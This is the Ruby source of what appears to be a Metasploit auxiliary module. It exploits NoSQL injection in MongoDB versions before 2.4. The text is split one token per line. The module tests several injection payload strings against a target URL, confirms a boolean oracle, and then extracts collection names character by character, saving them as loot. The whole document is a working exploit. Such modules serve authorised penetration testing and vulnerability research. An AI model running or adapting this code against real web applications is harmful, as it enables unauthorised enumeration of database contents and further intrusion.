##
## This module requires Metasploit: http//metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require
'msf/core'
class
Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def
initialize(info={})
super
(update_info(info,
'Name'
=>
"MongoDB NoSQL Collection Enumeration Via Injection"
,
'Description'
=> %q{
This
module
can exploit NoSQL injections on MongoDB versions less than
2
.
4
and
enumerate the collections available
in
the data via boolean injections.
},
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
'Brandon Perry <bperry.volatile[at]gmail.com>'
],
'References'
=>
[
[
'URL'
,
'http://nosql.mypopescu.com/post/14453905385/attacking-nosql-and-node-js-server-side-javascript'
]
],
'Platform'
=> [
'linux'
,
'win'
],
'Privileged'
=>
false
,
'DisclosureDate'
=>
"Jun 7 2014"
))
register_options(
[
OptString.
new
(
'TARGETURI'
, [
true
,
'Full vulnerable URI with [NoSQLi] where the injection point is'
,
'/index.php?age=50[NoSQLi]'
])
],
self
.
class
)
end
def
syntaxes
[[
"\"'||this||'"
,
"'||[inject]||'"
],
[
"\"';return+true;var+foo='"
,
"';return+[inject];var+foo='"
],
[
'\'"||this||"'
,
'"||[inject]||"'
],
[
'\'";return+true;var+foo="'
,
'";return+[inject];var+foo="'
],
[
"||this"
,
"||[inject]"
]]
end
def
run
uri = datastore[
'TARGETURI'
]
res = send_request_cgi({
'uri'
=> uri.sub(
'[NoSQLi]'
,
''
)
})
if
!res
fail_with(
"Server did not respond in an expected way."
)
end
pay =
""
fals = res.body
tru =
nil
syntaxes.
each
do
|payload|
print_status(
"Testing "
+ payload[
0
])
res = send_request_cgi({
'uri'
=> uri.sub(
'[NoSQLi]'
, payload[
0
])
})
if
res
and
res.body != fals
and
res.code ==
200
print_status(
"Looks like "
+ payload[
0
] +
" works"
)
tru = res.body
res = send_request_cgi({
'uri'
=> uri.sub(
'[NoSQLi]'
, payload[
0
].sub(
'true'
,
'false'
).sub(
'this'
,
'!this'
))
})
if
res
and
res.body != tru
and
res.code ==
200
vprint_status(
"I think I confirmed with a negative test."
)
fals = res.body
pay = payload[
1
]
break
end
end
end
if
pay ==
''
fail_with(
"Couldn't detect a payload, maybe it isn't injectable."
)
end
length =
0
vprint_status(
"Getting length of the number of collections."
)
(
0
..
100
).
each
do
|len|
str =
"db.getCollectionNames().length==#{len}"
res = send_request_cgi({
'uri'
=> uri.sub(
'[NoSQLi]'
, pay.sub(
'[inject]'
, str))
})
if
res
and
res.body == tru
length = len
print_status(
"#{len} collections are available"
)
break
end
end
vprint_status(
"Getting collection names"
)
names = []
(
0
...length).
each
do
|i|
vprint_status(
"Getting length of name for collection "
+ i.to_s)
name_len =
0
(
0
..
100
).
each
do
|k|
str =
"db.getCollectionNames()[#{i}].length==#{k}"
res = send_request_cgi({
'uri'
=> uri.sub(
'[NoSQLi]'
, pay.sub(
'[inject]'
, str))
})
if
res
and
res.body == tru
name_len = k
print_status(
"Length of collection #{i}'s name is #{k}"
)
break
end
end
vprint_status(
"Getting collection #{i}'s name"
)
name =
''
(
0
...name_len).
each
do
|k|
[*(
'a'
..
'z'
),*(
'0'
..
'9'
),*(
'A'
..
'Z'
),
'.'
].
each
do
|c|
str =
"db.getCollectionNames()[#{i}][#{k}]=='#{c}'"
res = send_request_cgi({
'uri'
=> uri.sub(
'[NoSQLi]'
, pay.sub(
'[inject]'
, str))
})
if
res
and
res.body == tru
name << c
break
end
end
end
print_status(
"Collections #{i}'s name is "
+ name)
names << name
end
p = store_loot(
"mongo_injection.#{datastore['RHOST']}_collections"
,
"text/plain"
,
nil
,
names.to_json,
"mongo_injection_#{datastore['RHOST']}.txt"
,
"#{datastore["
RHOST
"]} MongoDB Javascript Injection Collection Enumeration"
)
print_good(
"Your collections are located at: "
+ p)
end
end